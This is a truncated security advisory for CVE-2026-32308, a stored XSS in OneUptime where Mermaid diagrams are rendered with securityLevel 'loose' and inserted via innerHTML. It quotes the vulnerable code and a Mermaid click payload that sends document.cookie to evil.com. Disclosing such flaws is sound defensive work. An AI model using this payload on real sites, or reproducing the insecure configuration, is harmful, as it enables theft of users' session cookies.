OneUptime: Stored XSS via Mermaid Diagram Rendering (securityLevel: "loose")
Date: 2026-03
Affected: npm/oneuptime
Attack vector: xss
Category: vulnerability-disclosure
Severity: High
CVE: CVE-2026-32308
CWE: CWE-79
CVSS: 7.6 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N)

### Summary The Markdown viewer component renders Mermaid diagrams with `securityLevel: "loose"` and injects the SVG output via `innerHTML`. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's `click` directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable. ### Details **Mermaid configuration — `Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx:76`:** ```typescript // MarkdownViewer.tsx:76 mermaid.initialize({ securityLevel: "loose", // Allows interactive event bindings // ... }); ``` The Mermaid documentation explicitly warns: `securityLevel: "loose"` allows click events and other interactive bindings in diagrams. The safe default is `"strict"` which strips all interactivity. **SVG injection via innerHTML — `MarkdownViewer.tsx:106`:** ```typescript // MarkdownViewer.tsx:106 if (containerRef.current) { containerRef.current.innerHTML = svg; // Raw SVG injection } ``` After Mermaid renders the diagram to SVG, the SVG string is injected directly into the DOM via `innerHTML`. Combined with `securityLevel: "loose"`, this allows event handlers embedded in the SVG to execute. **Mermaid XSS payload:** ```markdown ```mermaid graph TD A["Click me"] click A callback "javascript:fetch('https://evil.com/?c='+document.cookie)" ```​ ``` With `securityLevel: "loose"`, Mermaid processes the


Mitigations:

Architectural layers (MAESTRO):